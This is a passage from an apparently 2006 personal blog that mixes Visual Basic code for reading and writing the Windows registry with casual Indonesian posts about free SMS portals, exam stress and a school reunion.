strSubKeys As String, strValName As String, _

lngType As Long) As String

' Demonstration of win32 API's to query

' the system registry


On Error GoTo sdaGetRegEntry_Err


Dim lngResult As Long, lngKey As Long

Dim lngHandle As Long, lngcbData As Long

Dim strRet As String


Select Case strKey

Case "HKEY_CLASSES_ROOT": lngKey = &H80000000

Case "HKEY_CURRENT_CONFIG": lngKey = &H80000005

Case "HKEY_CURRENT_USER": lngKey = &H80000001

Case "HKEY_DYN_DATA": lngKey = &H80000006

Case "HKEY_LOCAL_MACHINE": lngKey = &H80000002

Case "HKEY_PERFORMANCE_DATA": lngKey = &H80000004

Case "HKEY_USERS": lngKey = &H80000003

Case Else: Exit Function

End Select



If Not ERROR_SUCCESS = RegOpenKeyEx(lngKey, _

strSubKeys, 0&, KEY_READ, _

lngHandle) Then Exit Function



lngResult = RegQueryValueEx(lngHandle, strValName, _

0&, lngType, ByVal strRet, lngcbData)

strRet = Space(lngcbData)

lngResult = RegQueryValueEx(lngHandle, strValName, _

0&, lngType, ByVal strRet, lngcbData)



If Not ERROR_SUCCESS = RegCloseKey(lngHandle) Then _

lngType = -1&



sdaGetRegEntry = strRet



sdaGetRegEntry_Exit:

On Error GoTo 0

Exit Function


sdaGetRegEntry_Err:

lngType = -1&

MsgBox Err & "> " & Error$, 16, _

"GenUtils/sdaGetRegEntry"

Resume sdaGetRegEntry_Exit


End Function


Code




Dim lngType As Long, varRetString As Variant

Dim lngI As Long, intChar As Integer

varRetString = sdaGetRegEntry(cboStartKey, _

txtRegistrationPath, txtRegistrationParameter, _

lngType)



txtResult = varRetString

txtDataType = lngType

txtDataLength = Len(varRetString)



txtHex = ""

If Len(varRetString) Then

For lngI = 1 To Len(varRetString)

intChar = Asc(Mid(varRetString, lngI, 1))

If intChar > 15 Then

txtHex = txtHex & Hex(intChar) & " "

Else

txtHex = txtHex & "0" & Hex(intChar) & " "

End If

Next lngI

End If





read more...

Links to this post

Create a Link

registry function



Registry Functions


Declarations

Private Type FILETIME

lLowDateTime As Long

lHighDateTime As Long

End Type



Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, lpSecurityAttributes As Any, phkResult As Long, lplDisposition As Long) As Long

Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long

Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long

Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long

Private Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByRef lpData As Long, lpcbData As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long

Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByRef lpData As Long, ByVal cbData As Long) As Long

Private Declare Function RegSetValueExB Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByRef lpData As Byte, ByVal cbData As Long) As Long


Private Const ERROR_SUCCESS = 0&

Private Const ERROR_BADDB = 1009&

Private Const ERROR_BADKEY = 1010&

Private Const ERROR_CANTOPEN = 1011&

Private Const ERROR_CANTREAD = 1012&

Private Const ERROR_CANTWRITE = 1013&

Private Const ERROR_OUTOFMEMORY = 14&

Private Const ERROR_INVALID_PARAMETER = 87&

Private Const ERROR_ACCESS_DENIED = 5&

Private Const ERROR_NO_MORE_ITEMS = 259&

Private Const ERROR_MORE_DATA = 234&


Private Const REG_NONE = 0&

Private Const REG_SZ = 1&

Private Const REG_EXPAND_SZ = 2&

Private Const REG_BINARY = 3&

Private Const REG_DWORD = 4&

Private Const REG_DWORD_LITTLE_ENDIAN = 4&

Private Const REG_DWORD_BIG_ENDIAN = 5&

Private Const REG_LINK = 6&

Private Const REG_MULTI_SZ = 7&

Private Const REG_RESOURCE_LIST = 8&

Private Const REG_FULL_RESOURCE_DESCRIPTOR = 9&

Private Const REG_RESOURCE_REQUIREMENTS_LIST = 10&


Private Const KEY_QUERY_VALUE = &H1&

Private Const KEY_SET_VALUE = &H2&

Private Const KEY_CREATE_SUB_KEY = &H4&

Private Const KEY_ENUMERATE_SUB_KEYS = &H8&

Private Const KEY_NOTIFY = &H10&

Private Const KEY_CREATE_LINK = &H20&

Private Const READ_CONTROL = &H20000

Private Const WRITE_DAC = &H40000

Private Const WRITE_OWNER = &H80000

Private Const SYNCHRONIZE = &H100000

Private Const STANDARD_RIGHTS_REQUIRED = &HF0000

Private Const STANDARD_RIGHTS_READ = READ_CONTROL

Private Const STANDARD_RIGHTS_WRITE = READ_CONTROL

Private Const STANDARD_RIGHTS_EXECUTE = READ_CONTROL

Private Const KEY_READ = STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY

Private Const KEY_WRITE = STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY

Private Const KEY_EXECUTE = KEY_READ


Private hKey As Long, MainKeyHandle As Long

Private rtn As Long, lBuffer As Long, sBuffer As String

Private lBufferSize As Long

Private lDataSize As Long

Private ByteArray() As Byte


'This variable determins wether or not to display error messages to the

'user. I have set the default value to False as an error message can and

'does become irritating after a while. Turn this value to true if you want

'to debug your programming code when reading and writing to your system

'registry, as any errors will be displayed in a message box.


Private DisplayErrorMsg As Boolean


Code

'Code taken from Brian Harper, submitted on 12/13/98

'I have added some functions and changed a few of his so they would work on

'my system.

'You will want to make this a [FileName].cls module


'"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""

' Public Registry Functions

'"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""


'Function Info:

' sKey = Key path - ex. "HKEY_LOCAL_MACHINE\SOFTWARE\..."

' sKeyName = is the key value name - ex. "Company Name"

' KeyValue = is the item to save in the registry - ex. "Dairy Queen Inc."

'


'-- The Get function will return the value

'Function GetBinaryValue(sKey As String, sKeyName As String)

'Function GetDWORDValue(sKey As String, sKeyName As String)

'Function GetStringValue(sKey As String, sKeyName As String)


'-- Set the value in the registry

'Function SetBinaryValue(sKey As String, sKeyName As String, KeyValue As String)

'Function SetDWORDValue(sKey As String, sKeyName As String, KeyValue As Long)

'Function SetStringValue(sKey As String, sKeyName As String, KeyValue As String)


'-- delete registry key or key value

'Function DeleteKey(sKey As String)

'Function DeleteKeyValue(sKey As String, sKeyName As String)

'Function DeleteAllKeySubItems() ""NOT COMPLETED""


'-- create registry keys

'Function CreateKey(sKey As String)


'-- check for existing registry key or key value name

'Function KeyExist(sKey As String)

'Function KeyValueExist(sKey As String, sKeyName As String)


'"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""

' Other supporting functions

'"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""

'Function GetMainKeyHandle(MainKeyName As String) As Long

'Function GetErrorMsg(lErrorCode As Long) As String

'Private Sub ParseKey(Keyname As String, Keyhandle As Long)

'"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""


Private Sub Class_Initialize()


DisplayErrorMsg = False



End Sub


Public Property Let SetDisplayErrorMsg(vNewValue As Variant)


DisplayErrorMsg = vNewValue


End Property


Public Function SetDWordValue(ByVal sKey As String, ByVal sKeyName As String, ByVal KeyValue As Long)


SetDWordValue = False

Call ParseKey(sKey, MainKeyHandle)


If MainKeyHandle Then

rtn = RegOpenKeyEx(MainKeyHandle, sKey, 0, KEY_WRITE, hKey) 'open the key

If rtn = ERROR_SUCCESS Then 'if the key was open successfully then

rtn = RegSetValueExA(hKey, sKeyName, 0, REG_DWORD, KeyValue, 4) 'write the value

If Not rtn = ERROR_SUCCESS Then 'if there was an error writting the value

If DisplayErrorMsg = True Then 'if the user want errors displayed

MsgBox GetErrorMsg(rtn) 'display the error

End If

Else

SetDWordValue = True

End If

rtn = RegCloseKey(hKey) 'close the key

Else 'if there was an error opening the key

If DisplayErrorMsg = True Then 'if the user want errors displayed

MsgBox GetErrorMsg(rtn) 'display the error

End If

End If

End If


End Function


Public Function GetDWordValue(ByVal sKey As String, ByVal sKeyName As String)


Call ParseKey(sKey, MainKeyHandle)


If MainKeyHandle Then

rtn = RegOpenKeyEx(MainKeyHandle, sKey, 0, KEY_READ, hKey) 'open the key

If rtn = ERROR_SUCCESS Then 'if the key could be opened then

rtn = RegQueryValueExA(hKey, sKeyName, 0, REG_DWORD, lBuffer, 4) 'get the value from the registry

If rtn = ERROR_SUCCESS Then 'if the value could be retreived then

rtn = RegCloseKey(hKey) 'close the key

GetDWordValue = lBuffer 'return the value

Else 'otherwise, if the value couldnt be retreived

GetDWordValue = "Error" 'return Error to the user

If DisplayErrorMsg = True Then 'if the user wants errors displayed

MsgBox GetErrorMsg(rtn) 'tell the user what was wrong

End If

End If

Else 'otherwise, if the key couldnt be opened

GetDWordValue = "Error" 'return Error to the user

If DisplayErrorMsg = True Then 'if the user wants errors displayed

MsgBox GetErrorMsg(rtn) 'tell the user what was wrong

End If

End If

End If


End Function


Public Function SetBinaryValue(ByVal sKey As String, ByVal sKeyName As String, KeyValue As String)


SetBinaryValue = False

Call ParseKey(sKey, MainKeyHandle)


If MainKeyHandle Then

rtn = RegOpenKeyEx(MainKeyHandle, sKey, 0, KEY_WRITE, hKey) 'open the key

If rtn = ERROR_SUCCESS Then 'if the key was open successfully then

lDataSize = Len(KeyValue)

ReDim ByteArray(lDataSize)

For i = 1 To lDataSize

ByteArray(i) = Asc(Mid$(KeyValue, i, 1))

Next

rtn = RegSetValueExB(hKey, sKeyName, 0, REG_BINARY, ByteArray(1), lDataSize) 'write the value

If Not rtn = ERROR_SUCCESS Then 'if the was an error writting the value

If DisplayErrorMsg = True Then 'if the user want errors displayed

MsgBox GetErrorMsg(rtn) 'display the error

End If

Else

SetBinaryValue = True

End If

rtn = RegCloseKey(hKey) 'close the key

Else 'if there was an error opening the key

If DisplayErrorMsg = True Then 'if the user wants errors displayed

MsgBox GetErrorMsg(rtn) 'display the error

End If

End If

End If


End Function


Public Function GetBinaryValue(ByVal sKey As String, ByVal sKeyName As String)


Call ParseKey(sKey, MainKeyHandle)


If MainKeyHandle Then

rtn = RegOpenKeyEx(MainKeyHandle, sKey, 0, KEY_READ, hKey) 'open the key

If rtn = ERROR_SUCCESS Then 'if the key could be opened

lBufferSize = 1

rtn = RegQueryValueEx(hKey, sKeyName, 0, REG_BINARY, 0, lBufferSize) 'get the value from the registry

sBuffer = Space(lBufferSize)

rtn = RegQueryValueEx(hKey, sKeyName, 0, REG_BINARY, sBuffer, lBufferSize) 'get the value from the registry

If rtn = ERROR_SUCCESS Then 'if the value could be retreived then

rtn = RegCloseKey(hKey) 'close the key

GetBinaryValue = sBuffer 'return the value to the user

Else 'otherwise, if the value couldnt be retreived

GetBinaryValue = "Error" 'return Error to the user

If DisplayErrorMsg = True Then 'if the user wants to errors displayed

MsgBox GetErrorMsg(rtn) 'display the error to the user

End If

End If

Else 'otherwise, if the key couldnt be opened

GetBinaryValue = "Error" 'return Error to the user

If DisplayErrorMsg = True Then 'if the user wants to errors displayed

MsgBox GetErrorMsg(rtn) 'display the error to the user

End If

End If

End If


End Function


Public Function SetStringValue(ByVal sKey As String, ByVal sKeyName As String, ByVal KeyValue As String)


SetStringValue = False

Call ParseKey(sKey, MainKeyHandle)


If MainKeyHandle Then

rtn = RegOpenKeyEx(MainKeyHandle, sKey, 0, KEY_WRITE, hKey) 'open the key

If rtn = ERROR_SUCCESS Then 'if the key was open successfully then

rtn = RegSetValueEx(hKey, sKeyName, 0, REG_SZ, ByVal KeyValue, Len(KeyValue)) 'write the value

If Not rtn = ERROR_SUCCESS Then 'if there was an error writting the value

If DisplayErrorMsg = True Then 'if the user wants errors displayed

MsgBox GetErrorMsg(rtn) 'display the error

End If

Else

SetStringValue = True

End If

rtn = RegCloseKey(hKey) 'close the key

Else 'if there was an error opening the key

If DisplayErrorMsg = True Then 'if the user wants errors displayed

MsgBox GetErrorMsg(rtn) 'display the error

End If

End If

End If


End Function


Public Function GetStringValue(ByVal sKey As String, ByVal sKeyName As String)


lBufferSize = 0

sBuffer = ""


Call ParseKey(sKey, MainKeyHandle)


If MainKeyHandle Then

rtn = RegOpenKeyEx(MainKeyHandle, sKey, 0, KEY_READ, hKey) 'open the key

If rtn = ERROR_SUCCESS Then 'if the key could be opened then

sBuffer = Space(255) 'make a buffer

lBufferSize = Len(sBuffer)

rtn = RegQueryValueEx(hKey, sKeyName, 0, REG_SZ, sBuffer, lBufferSize) 'get the value from the registry

If rtn = ERROR_SUCCESS Then 'if the value could be retreived then

rtn = RegCloseKey(hKey) 'close the key

sBuffer = Trim(sBuffer)

GetStringValue = Left(sBuffer, lBufferSize - 1) 'return the value to the user

Else 'otherwise, if the value couldnt be retreived

GetStringValue = "Error" 'return Error to the user

If DisplayErrorMsg = True Then 'if the user wants errors displayed then

MsgBox GetErrorMsg(rtn) 'tell the user what was wrong

End If

End If

Else 'otherwise, if the key couldnt be opened

GetStringValue = "Error" 'return Error to the user

If DisplayErrorMsg = True Then 'if the user wants errors displayed then

MsgBox GetErrorMsg(rtn) 'tell the user what was wrong

End If

End If

End If


End Function


Public Function CreateKey(ByVal sKey As String)


CreateKey = False

Call ParseKey(sKey, MainKeyHandle)



If MainKeyHandle Then

rtn = RegCreateKey(MainKeyHandle, sKey, hKey) 'create the key

If rtn = ERROR_SUCCESS Then 'if the key was created then

rtn = RegCloseKey(hKey) 'close the key

CreateKey = True

End If

End If


End Function


Public Function DeleteKey(ByVal Keyname As String)


DeleteKey = False

Call ParseKey(Keyname, MainKeyHandle)



If MainKeyHandle Then

rtn = RegDeleteKey(MainKeyHandle, Keyname)

If (rtn <> ERROR_SUCCESS) Then

If DisplayErrorMsg = True Then 'if the user wants errors displayed then

MsgBox GetErrorMsg(rtn) 'tell the user what was wrong

End If

Else

DeleteKey = True

End If

End If



End Function


Public Function DeleteKeyValue(ByVal sKeyName As String, ByVal sValueName As String)


DeleteKeyValue = False

Dim hKey As Long 'handle of open key


Call ParseKey(sKeyName, MainKeyHandle)


If MainKeyHandle Then


rtn = RegOpenKeyEx(MainKeyHandle, sKeyName, 0, KEY_WRITE, hKey) 'open the specified key

If (rtn = ERROR_SUCCESS) Then

rtn = RegDeleteValue(hKey, sValueName)

If (rtn <> ERROR_SUCCESS) Then

If DisplayErrorMsg = True Then 'if the user wants errors displayed then

MsgBox GetErrorMsg(rtn) 'tell the user what was wrong

End If

Else

DeleteKeyValue = True

End If

rtn = RegCloseKey(hKey)


End If


End If


End Function


Public Function DeleteAllKeySubItems()


DeleteAllKeySubItems = False


End Function


Public Function KeyExist(ByVal sKey As String)

Dim hKey As Long


Call ParseKey(sKey, MainKeyHandle)


If MainKeyHandle Then

rtn = RegOpenKeyEx(MainKeyHandle, sKey, 0, KEY_READ, hKey) 'open the key

If rtn = ERROR_SUCCESS Then 'if the key was open successfully then

KeyExist = True

Else

KeyExits = False

End If

End If



End Function


Public Function KeyValueExist(ByVal sKey As String, ByVal sKeyName As String)

Dim hKey As Long

Dim lActualType As Long

Dim lSize As Long



Dim sTmp As String


Call ParseKey(sKey, MainKeyHandle)


If MainKeyHandle Then



rtn = RegOpenKeyEx(MainKeyHandle, sKey, 0, KEY_READ, hKey) 'open the key

If (rtn = ERROR_SUCCESS) Then



rtn = RegQueryValueEx(hKey, ByVal sKeyName, 0&, lActualType, sTmp, lSize) 'ByVal 0&, lSize)

If (rtn = ERROR_SUCCESS) Then

KeyValueExist = True

Else

KeyValueExist = False

End If



End If



End If


End Function


Private Sub ParseKey(Keyname As String, Keyhandle As Long)



rtn = InStr(Keyname, "\") 'return if "\" is contained in the Keyname


If Left(Keyname, 5) <> "HKEY_" Or Right(Keyname, 1) = "\" Then 'if the is a "\" at the end of the Keyname then

MsgBox "Incorrect Format:" + Chr(10) + Chr(10) + Keyname 'display error to the user

Exit Sub 'exit the procedure

ElseIf rtn = 0 Then 'if the Keyname contains no "\"

Keyhandle = GetMainKeyHandle(Keyname)

Keyname = "" 'leave Keyname blank

Else 'otherwise, Keyname contains "\"

Keyhandle = GetMainKeyHandle(Left(Keyname, rtn - 1)) 'seperate the Keyname

Keyname = Right(Keyname, Len(Keyname) - rtn)

End If


End Sub


Private Function GetMainKeyHandle(MainKeyName As String) As Long


Const HKEY_CLASSES_ROOT = &H80000000

Const HKEY_CURRENT_USER = &H80000001

Const HKEY_LOCAL_MACHINE = &H80000002

Const HKEY_USERS = &H80000003

Const HKEY_PERFORMANCE_DATA = &H80000004

Const HKEY_CURRENT_CONFIG = &H80000005

Const HKEY_DYN_DATA = &H80000006



Select Case MainKeyName

Case "HKEY_CLASSES_ROOT"

GetMainKeyHandle = HKEY_CLASSES_ROOT

Case "HKEY_CURRENT_USER"

GetMainKeyHandle = HKEY_CURRENT_USER

Case "HKEY_LOCAL_MACHINE"

GetMainKeyHandle = HKEY_LOCAL_MACHINE

Case "HKEY_USERS"

GetMainKeyHandle = HKEY_USERS

Case "HKEY_PERFORMANCE_DATA"

GetMainKeyHandle = HKEY_PERFORMANCE_DATA

Case "HKEY_CURRENT_CONFIG"

GetMainKeyHandle = HKEY_CURRENT_CONFIG

Case "HKEY_DYN_DATA"

GetMainKeyHandle = HKEY_DYN_DATA

End Select


End Function


Private Function GetErrorMsg(lErrorCode As Long) As String



'If an error does accurr, and the user wants error messages displayed, then

'display one of the following error messages


Select Case lErrorCode

Case 1009, 1015

GetErrorMsg = "The Registry Database is corrupt!"

Case 2, 1010

GetErrorMsg = "Bad Key Name"

Case 1011

GetErrorMsg = "Can't Open Key"

Case 4, 1012

GetErrorMsg = "Can't Read Key"

Case 5

GetErrorMsg = "Access to this key is denied"

Case 1013

GetErrorMsg = "Can't Write Key"

Case 8, 14

GetErrorMsg = "Out of memory"

Case 87

GetErrorMsg = "Invalid Parameter"

Case 234

GetErrorMsg = "There is more data than the buffer has been allocated to hold."

Case Else

GetErrorMsg = "Undefined Error Code: " & Str$(lErrorCode)

End Select


End Function








read more...

Links to this post

Create a Link

sms gratis buat m3

m3 juga bisa sms gratis


sms gratisDah nyobain sms gratisna punya mentari?? kalo kamu pakena m3 ga usah minder dulu. m3 juga bisa loh sms gratis. Caranya gak jauh beda tuh ama punya mentari. maklum maseh sedarah ama mentari (red: punya indosat).Gak terlalu ribet sih.



Syaratna?? kamu harus punya kartu m3 yang masih aktif. trus kamu punya email yang tentunya masih bisa kamu buka :-) abis itu kamu daftar ke m3-access.com. buat bikin akun kamu. trus,,,, blablablablabla,, (ikutin perintahna). nah jadi deh!! Gampang kan?? selamat mencoba."good luck"
read more...

Links to this post

Create a Link

Friday, December 15, 2006

sTrESssss,,,,

sTrESssss,,,,,


se-Minggu ini aDalah yang paling bikin aku stresss!!!<(red: gara" tes)>Gimana enggak,, seminggu full<(pdhl cuman 6hr)>ujian smester, mana
kalo blajar gak prnah bisa konsen lagi,, palagi ama metematika. huff,,, pelajaran yang satu ini paling bikin aku stress,, udah gurunya gonta-ganti <(ama ppl-trus skg guruna gi hamil)> kayakna udah jadi takdir aku kalo pelajaran ini aku gak bakalan aku kuasain! <(pesimis bgt sih)> nggak bakaT. bElon lagi ama FisikA udah catetan gak punya,, mo baca buku ajah malesnya bukan maen..emank sih pelajar itu tugasna belajar. tapi gak taulah aku kok alergi ama yang namanya belajar. bawaan lahir kalee..:-) gw heran kok ada juga anak yang seneng banget ama belajar yaa <(tanya kenapa???)> padahal, udah banyak cara aku lakuin tapi gak prnah bisa bwat bikin aku semangat blajar. Mungkin,,, ah gak tau lah.bisa gila beneran kalo aku mikirin ini kek gini teruss!!! huakakakakakak,,,, Yang penting skarang buatku adalah cari cara buat bikin aku smangat belajar. dan yang paling penting lagi,, aku harus siap2 bwat REMIDiiiiiiiiiiiiiiiiiiiiiiiii!!! !!

read more...

Links to this post

Create a Link

Saturday, December 09, 2006

SmS gRatisss..

SMS gratis lewat portal klub-mentari[dot]com


sms gratisPengen sms gratis??? pengen dunk :) eit tunggu duluu..gampang kok caranya. Udah gitu,, legal lagi,!! kirimnya pun bisa kemana ajah.alias sesukamu!!! !! ato beda operator gitu,,,Tapi caranya nggak pake hape loh. Tapi lewat portal di klub mentari
di situs www.klub-mentari.com.Sebelumna kamu harus punya akun dulu di klub-mentari.com. Buat kamu yang belum punya akunnya bisa ngedaftar gratis. Kalo pengen bisa sms gratis, kamu juga harus punya nomor mentari yang masih aktif. Kalo gak punya??? yaaa beli ajah perdananya. murah kok. :)D



Kelebihannya???!! kamu bisa tetep ngirim sms walopun kartu kamu udah angus sekalipun

soal berapa banyak sms??? sehari kamu bisa ngirim 10 sms. Kalo kamu masih kurang dengan 10 sms sehari... daftar ajah yang banyak. tar kalo udah abis sepuluh kamu bisa buka akun kamu yang laen.... ok??!! Selamat Mencoba Good LuCk :)D
read more...

Links to this post

Create a Link

Friday, December 01, 2006

Mau Reuniii

Bingung nich siapa yang mo jadi panitia,,,


bEntaR laGi mo nGadain reUni. taPi kaYAkna nGGa jaDi de

cz, ngga da yang mo jaDi paNitianYa siCh. sMua puNya alasan

nDiri2,, yoW wis lah,, kaRepmu.. aKu sih nGikut ajah,,,,,,

yaNg paSti,, daPker maSeh tetEp jadi Buronanku!!! !! giMana

ngga???!!! dia maSeh pEgang sertiFikat puNyaku.. huh!!!



taPi saYang kaLo nGgak jadi seH,, soAlnYa aku

udaH ngReLain buAt biKin poSter...maNa udaH


aku sebArin lagi ,, :)udaH dee,,, deMi kaLian smua

taK ikhLasin waE...


read more...

Links to this post

Create a Link